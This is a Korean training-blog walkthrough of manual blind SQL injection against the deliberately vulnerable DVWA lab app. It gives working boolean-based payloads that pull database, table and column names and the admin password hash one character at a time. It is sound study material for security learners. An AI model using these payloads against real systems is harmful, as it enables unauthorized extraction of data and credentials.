홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507)

Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325)

VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125)

Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202)

Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129)

[과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619)

[과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827)

[과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810)

[과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809)

Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721)

칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404)

단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329)

WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130)

오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125)

WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123)

오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122)

오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122)

오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121)

오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118)

WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116)

WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114)

WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113)

SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110)

MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109)

WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106)

WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104)

WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104)

WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102)

WH-Account-01 웹해킹훈련장 실습 설명서 (20170103)

WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103)

WH-Account-02 웹해킹훈련장 실습 설명서 (20170104)

저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231)

로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228)

DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222)

FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220)

이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219)

HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214)

경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214)

웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213)

HTML 삽입, XSS 공격 탐지방법 (20161211)

오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210)

오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208)

nikto와 owasp-zap 연동 (20161206)

미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205)

오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205)

오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204)

기억하기 쉽고 안전한 비밀번호 만들기 (20161203)

2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202)

KISA의 랜섬웨어 예방 수칙 (20161202)

WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201)

DVWA Brute Force 실습 설명서 (20161205)

DVWA Command Injection 실습 설명서 (20161207)

DVWA CSRF (low, high level) 실습 설명서 (20161208)

DVWA File Inclusion 실습 설명서 (20161215)

DVWA File Upload 실습 설명서 (20161221)

DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224)

DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222)

DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227)

DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226)

DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227)

DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101)

SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201)

WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130)

WebGoat: Bypass a Path Based Access Control Scheme (20161207)

WebGoat, LAB: DOM-Based cross-site scripting (20161208)

WebGoat, Authentication Flaws: Multi Level Login 2 (20161209)

WebGoat, Code Quality: Discover Clues in the HTML (20161210)

WebGoat XSS: Phishing with XSS (20161211)

WebGoat: OS Command Injection (20161215)

WebGoat: Numeric SQL Injection (20161216)

WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217)

WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218)

2016.11.30 웹서버 공격 로그 (20161130)

OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129)

WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126)

WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128)

인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125)

PHP Easter Egg의 이해와 조치방안 (20161125)

WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124)

WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126)

웹해킹 공격/방어 일람 (20161121)

webhack.dynu.net 문자배너 만들기 - toilet (20161121)

MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120)

X-XSS-Protection헤더 시험 페이지 (20161119)

방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118)

클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117)

X-Frame-Options헤더 시험 페이지 (20161118)

공시생 성적조작 사건, 물리보안과 정보보안 (20161117)

ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116)

[웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116)

weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117)

슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115)

버추얼박스 가상머신에서 Tails OS 설치 (20161114)

Kali Linux에 Tor Browser 설치하기 (20161114)

인터넷익명성 - VPN과 Tor (20161114)

Kali Linux, open-vm-tools, Shared Folder (20161113)

SSL Strip 공격과 HSTS (20161112)

모든 꼬리표 모아보기(태그 클라우드) (20161111)

HTTP 세션 탈취와 IP보안 (20161111)

HTTP TRACE method와 XST 공격 (20161111)

세션쿠키와 HttpOnly (20161110)

HTTP 메소드 수동점검 방법 (20161110)

파일업로드(웹쉘) 방어하기 (20161109)

파일다운로드/경로조작 방어하기 (20161109)

XSS, SQL Injection 방어하기 (20161109)

길찾기(sitemap) (20161109)

웹취약성분석 관련 파일 목록 (20161108)

SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107)

웹취약점 분석 도구로서의 THC Hydra (20161107)

웹취약점 분석 도구로서의 cURL (20161107)

[웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104)

[PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106)

무료 웹해킹 교육장 목록 (20161103)

칼리 리눅스(Kali Linux) 설치 (20161030)

가상머신 버추얼 박스(VirtualBox) 설치 (20161029)

가상머신 VMWare Workstation Player 설치 (20161028)

[웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027)

스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719)

<< 목록숨기기
#DVWA Blind SQL Injection #DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #SQL구문삽입 #Blind SQLi #Manual SQL Injection #mysql #information_schema #A1-Injection

DVWA: Blind SQL Injection 이해를 위한 수동점검 실습 설명서

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.189.246/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 작업을 사전에 수행하야야 한다.

  1. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
  2. "DVWA Security" 항목에서 "Security Level"을 High 로 변경한다.

SQL 구문삽입 진단

DVWA: SQL Injection (Blind) 실습문제는 ID를 입력했을 때 유효한 ID인 지를 판별해주는 웹 애플리케이션이다. 다양한 입력을 통해 다음과 같은 결과를 얻었다.

1		결과: "User ID exists in the database."
1' AND 1=2#	결과: "User ID is MISSING from the database."
1' OR 1=2#	결과: "User ID exists in the database."

6		결과: "User ID is MISSING from the database."
6' AND 1=1#	결과: "User ID is MISSING from the database."
6' OR 1=1#	결과: "User ID exists in the database."

유효한 ID=1을 이용한 SQL주입과 유효하지 않은 ID=6에서 AND, OR, true(1=1), false(1=1)를 조합하면 위와 같다. AND와 OR 연산이 수행된다는 증거를 얻을 수 있다. 이러한 연산은 SQL 파서가 담당하는 역할이므로 SQL구문삽입 취약점이 있다고 확신할 수 있다.

Blind SQLi 공략의 시작: 참/거짓 반응 관찰

DVWA: SQL Injection (Blind) 실습문제는 ID를 입력했을 때 유효한 ID인 지를 판별해주는 웹 애플리케이션이다. 즉, DB 내용을 직접적으로 유출하지 않는다. 옳다(true), 틀리다(false)라는 반응만 내보낸다. 이 때문에 공격자는 간접적으로 "이건 맞니?", "저건 맞니?"라는 질문을 계속 보내서 DB내용을 하나씩 유추해낸다. 스무고개 놀이와 같다. 수많은 질문을 던져야 하므로 UNION 기반 SQL구문삽입에 비해서 시간이 많이 걸린다.

스무고개는 놀이의 하나이다. 한 사람이 어떤 물건을 마음 속으로 생각하면, 다른 사람이 스무 번까지 질문을 해서 그것을 알아 맞히는 것이다. 질문은 원칙적으로는 예·아니오로 대답할 수 있는 것이어야 하지만, 규칙에 따라 첫 번째 질문은 동물성·식물성·광물성을 물어보는 것으로 할 수도 있다.
1950년대 영국 BBC의 라디오 프로그램 《트웬티 퀘스천스(Twenty Questions)》로 유행했고, 대한민국에는 군정기 때 이를 똑같이 모방한 프로그램이 만들어지면서 퍼졌다.
- 위키피디아

공격자는 DVWA: SQL Injection (Blind) 실습문제에서 "참 AND 참"의 질문과 "참 AND 거짓"의 질문을 입력하여 서버의 반응을 살핀다.

(참 AND 참 = 참) 질문의 예:        1' AND 1=1#

                                TRUE     TRUE
                          -----------     ---
SELECT * FROM users WHERE user_id='1' AND 1=1#';
                    -------------------------
                                    TRUE

	서버의 반응: User ID exists in the database.

입력이 1' AND 1=1#이다. 그 결과, users 테이블에서 user_id=1인 레코드를 만나면 user_id='1'이 참(TRUE)이 된다. 이 때 항상 참(1=1)을 AND 연산자로 묶었기 때문에 전체 WHERE 절은 참(TRUE)이 된다. ID가 1인 레코드는 1개가 존재할 것이므로, SELECT문은 1개의 레코드를 조회할 수 있다. 그 결과로 서버는 "User ID exists in the database."라는 문자열을 출력한다.

(참 AND 거짓 = 거짓) 질문의 예:    1' AND 1=2#

                                TRUE     FALSE
                          -----------     ---
SELECT * FROM users WHERE user_id='1' AND 1=2#';
                    -------------------------
                                   FALSE

	서버의 반응: User ID is MISSING from the database.

입력이 1' AND 1=2#이다. 테이블 users에서 ID=1인 레코드를 만나게 되더라고 항상 거짓(1=2)AND로 묶었다. 때문에 WHERE 절은 항상 거짓(FALSE)이다. 따라서 SELECT 문은 어떠한 레코드도 조회하지 못한다. 즉, ID가 존재하지 않는다는 결론을 내린다. 그 결과로 서버는 "User ID is MISSING from the database."라는 문자열을 출력한다.

DVWA Blind SQL Injection (high level) TRUE clue
[ DVWA SQL Injection (Blind) high의 TRUE AND TRUE 단서 ]

위의 그림에서는 입력이 1' AND 1=1#이다. 공격자의 질문이 참일 때의 서버 반응이다.

DVWA Blind SQL Injection (high level) FALSE clue
[ DVWA SQL Injection (Blind) high의 TRUE AND FALSE 단서 ]

위의 그림에서는 입력이 1' AND 1=2#이다. 공격자의 질문이 거짓일 때의 서버 반응이다.

이제 공격자는 DVWA: SQL Injection (Blind) 문제를 통해서 DBMS에 질문을 던질 수 있는 준비가 되었다. 맞는 질문을 던지면 서버는 "User ID exists in the database."라고 대답한다. 틀린 질문을 던지면 서버는 "User ID is MISSING from the database."라는 대답을 한다. 서버의 대답에 이 두 반응이 없다면 무언가 오류가 났을 확률이 높다. 아마도 SQL 문법 오류(syntax error)일 것이다.

공격자가 질문을 던지는 방식은 1' AND (비밀번호_첫글자='c')#와 같다. 비밀번호_첫글자가 'c'이면 서버는 "User ID exists in the database."라고 반응할 것이다. 'a', 'b' 'c' 등 모든 알파벳을 대상으로 시험하여 첫번째 글자를 찾아낸다. 그리고 두번째, 세번째 글자를 순차적으로 찾아내면 비밀번호 전체를 알아낼 수 있다. (실제 공격에서는 크다, 작다라는 질문을 사용한다. 순차적으로 질문하는 것보다 계산 횟수를 크게 줄일 수 있다. 이 설명서에는 이해를 돕기 위해서 순차적으로 "같다?"라는 질문을 던지는 것으로 하였다.)

MySQL의 정보스키마와 Blind SQLi

웹 애플리케이션의 기반 DBMS를 탐지하는 방법은 DBMS Fingerprinting 방법을 참조하자. DVWA: SQL Injection (Blind)의 데이터베이스 관리시스템은 MySQL이다. MySQL에서는 데이터베이스 구조(메타데이타 또는 스키마)를 정보스키마(information_schema)에 저장한다. 다음은 DVWA: SQL Injection (Blind)에서 접근할 수 있는 MySQL의 정보스키마가 관리하는 전체 테이블 목록이다(편의를 위하여 5개 컬럼만을 출력하였다). 이 목록은 information_schema.tables 테이블에 저장되어 있다.

Database: information_schema
Table: tables
[53 entries]
+--------------------+--------------------------------------+-------------+--------+----------+
| table_schema       | table_name                           | table_type  | engine |table_rows|
+--------------------+--------------------------------------+-------------+--------+----------+
| mysql              | slow_log                             | BASE TABLE  | CSV    | 2        |
| mysql              | general_log                          | BASE TABLE  | CSV    | 2        |
| information_schema | KEY_COLUMN_USAGE                     | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SCHEMATA                             | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | TABLE_PRIVILEGES                     | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY| SYSTEM VIEW | MEMORY | NULL     |
| information_schema | GLOBAL_VARIABLES                     | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | TABLE_CONSTRAINTS                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLLATIONS                           | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | GLOBAL_STATUS                        | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | REFERENTIAL_CONSTRAINTS              | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | TABLES                               | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | CHARACTER_SETS                       | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | FILES                                | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | PROFILING                            | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | STATISTICS                           | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SESSION_VARIABLES                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | ENGINES                              | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SESSION_STATUS                       | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | USER_PRIVILEGES                      | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLUMN_PRIVILEGES                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SCHEMA_PRIVILEGES                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLUMNS                              | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | db                                   | BASE TABLE  | MyISAM | 2        |
| mysql              | help_topic                           | BASE TABLE  | MyISAM | 508      |
| mysql              | user                                 | BASE TABLE  | MyISAM | 5        |
| information_schema | ROUTINES                             | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | columns_priv                         | BASE TABLE  | MyISAM | 0        |
| mysql              | help_relation                        | BASE TABLE  | MyISAM | 993      |
| mysql              | servers                              | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_transition_type            | BASE TABLE  | MyISAM | 0        |
| dvwa               | users                                | BASE TABLE  | MyISAM | 5        |
| mysql              | help_keyword                         | BASE TABLE  | MyISAM | 452      |
| mysql              | procs_priv                           | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_transition                 | BASE TABLE  | MyISAM | 0        |
| dvwa               | guestbook                            | BASE TABLE  | MyISAM | 1        |
| mysql              | help_category                        | BASE TABLE  | MyISAM | 38       |
| mysql              | proc                                 | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_name                       | BASE TABLE  | MyISAM | 0        |
| information_schema | EVENTS                               | SYSTEM VIEW | MyISAM | NULL     |
| information_schema | PROCESSLIST                          | SYSTEM VIEW | MyISAM | NULL     |
| information_schema | VIEWS                                | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | plugin                               | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_leap_second                | BASE TABLE  | MyISAM | 0        |
| information_schema | PLUGINS                              | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | func                                 | BASE TABLE  | MyISAM | 0        |
| mysql              | ndb_binlog_index                     | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone                            | BASE TABLE  | MyISAM | 0        |
| information_schema | PARTITIONS                           | SYSTEM VIEW | MyISAM | NULL     |
| information_schema | TRIGGERS                             | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | event                                | BASE TABLE  | MyISAM | 0        |
| mysql              | host                                 | BASE TABLE  | MyISAM | 0        |
| mysql              | tables_priv                          | BASE TABLE  | MyISAM | 0        |
+--------------------+--------------------------------------+-------------+--------+----------+

MySQL의 데이터베이스 구조는 information_schema.tablesinformation_schema.columns 테이블에서 파악할 수 있다. 속도를 신경쓰지 않는다면, information_schema.columns 테이블만 조회해도 모두 알 수 있다. 편의를 위하여 이 설명서에서는 information_schema.columns 테이블로부터 DB구조를 알아낼 것이다.

정보스키마의 columns 테이블에서 데이터베이스 목록을 조회하는 SELECT문을 작성하면 다음과 같을 것이다. 데이터베이스 이름은 table_schema 컬럼에 저장되어 있다.

SELECT table_schema FROM information_schema.columns;

그런데 같은 DB 이름이 중복되어 조회될 수 있으므로 DISTINCT를 선언하여 SELECT문의 조회 결과에서 중복을 모두 제거한다.

SELECT DISTINCT table_schema FROM information_schema.columns;

DBMS의 정보스키마 이름이 information_schema임을 알고 있으므로 이를 제거한다. SQL 표준에서 "같지않다"는 "<>"이지만 대부분의 DBMS가 비표준인 "!="를 지원하므로 이를 사용하였다.

SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema';

"눈먼" SQL 구문삽입에서는 낱낱의 문자를 비교해야 하는 데 이를 위해서는 SELECT 문의 결과가 1개여야 한다. MySQL에서는 LIMIT를 이용하여 낱개를 가져올 수 있다.

SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1;

MySQL에서 LIMIT 0,1은 조회한 결과의 첫번째(0), 1개를 의미한다. LIMIT 1,1은 두번째(0) 1개, LIMIT 2,1은 세번째(0) 1개를 의미한다. 눈먼 SQLi에서 공격자의 질문은 "첫번째 글자가 a인가?"와 같은 방식이다. 각 문자를 떼어내기 위해서는 substr()를 사용한다.

substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a';

위의 SQL문은 첫번째 table_schema 데이터의 첫번째 문자가 'a'인가를 묻는 것이다. MySQL에서 LIMIT의 첫번째 위치는 0이지만 substr()의 첫번째 위치는 1이다. (헷갈린다...)

지금까지의 관찰을 바탕으로 "참 AND 참" 또는 "참 AND 거짓"을 판별할 입력값을 만들면 다음과 같다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = '문자'#

위의 문자를 바꿔가면서 , 거짓을 판별해나가면 데이터베이스 이름(table_schema)을 알아낼 수 있다.

MySQL에서 접근 가능한 데이터베이스의 갯수는 1' AND (SELECT count(schema_name) FROM information_schema.schemata) = 4#와 같은 방식으로 알아낼 수 있다.

데이터베이스 목록 확인

첫번째 table_schema 데이터의 문자열을 하나씩 알아내보자.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'b'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'c'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'd'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) is null# (결과: 거짓)

첫번째 table_schema의 첫번째 문자는 'd'이다. 두번째 문자는 null이 아니다. 즉 문자열의 길이가 2이상이다. 위의 과정을 두번째 문자에 대해서 반복한다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'a'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'b'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'c'# (결과: 거짓)
[ ... 생략 ... ]
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'u'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'v'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) is null# (결과: 거짓)

첫번째 table_schema의 두번째 문자는 'v'이다. 세번째 문자는 null이 아니다. 즉 문자열은 'dv'로 시작하며 길이가 3이상이다. 위의 과정을 세번째 문자에 대해서 반복한다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'a'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'b'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'c'# (결과: 거짓)
[ ... 생략 ... ]
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'v'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'w'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),4,1) is null# (결과: 거짓)

첫번째 table_schema의 세번째 문자는 'w'이다. 네번째 문자는 null이 아니다. 즉 문자열은 'dvw'로 시작하며 길이가 4이상이다. 위의 과정을 네번째 문자에 대해서 반복한다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),4,1) = 'a'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),5,1) is null# (결과: 참)

첫번째 table_schema의 네번째 문자는 'a'이다. 다섯번째 문자는 null이다. 즉 문자열은 'dvwa'이다. 첫번째 데이터베이스 이름(table_schema)은 'dvwa'이다.

두번째 table_schema에 대해서도 동일한 과정을 반복하면 데이터베이스 이름을 알아낼 수 있다. 참인 입력만 요약하면 다음과 같다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),1,1) = 'm'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),2,1) = 'y'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),3,1) = 's'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),4,1) = 'q'# (결과: 참)

두번째 데이터베이스 이름은 "mysq"로 시작한다.

dvwa DB의 테이블 목록 확인

테이블 목록은 information.tablesinformation.columnstable_name 컬럼을 이용하여 확인할 수 있다. 여기서는 information.columnstable_name을 이용하여 dvwa 데이터베이스의 테이블 목록을 확인해보자.

1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = '문자'#

질문의 기본적인 틀은 위와 같다. 첫번째 테이블 이름을 유출할 때 참인 반응을 보인 입력값들이다.

1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = 'g'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),2,1) = 'u'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),3,1) = 'e'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),4,1) = 's'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),5,1) = 't'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),6,1) = 'b'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),7,1) = 'o'#

이러한 방식으로 guestbook, users의 두 테이블 이름을 확인할 수 있다.

dvwa.users 테이블의 컬럼 목록 확인

1' AND substr( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1) = '문자'#

1' AND substr( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1) = 'u'# 등과 같이 시작하여 컬럼이름을 유출할 수 있다. user, password 등의 컬럼을 확인할 수 있다.

dvwa.users 테이블의 password 컬럼 조회

user 컬럼에서 "admin"을 이미 유출했다고 가정하자.

1' AND substr( (SELECT password FROM users WHERE user='admin' LIMIT 0,1),1,1) = '문자'#

동일한 방식으로 진행하면 admin의 비밀번호 해쉬 값을 조회할 수 있다.

마무리

Blind SQL Injection은 수작업으로 진행하기에는 너무 많은 계산이 필요하다. 때문에 대부분의 경우에는 프로그램을 작성하여 기계적으로 유출하는 것이 일반적이다.

범용 SQL 공격도구인 sqlmap을 이용한 공략법은 DVWA: Blind SQL Injection (low/medium level)의 sqlmap 공략 문서를 참조하기 바란다.

[처음 작성한 날: 2016.12.27]    [마지막으로 고친 날: 2016.12.27] 


> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (2016.12.22)

> 다음 글 : DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (2016.12.26)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

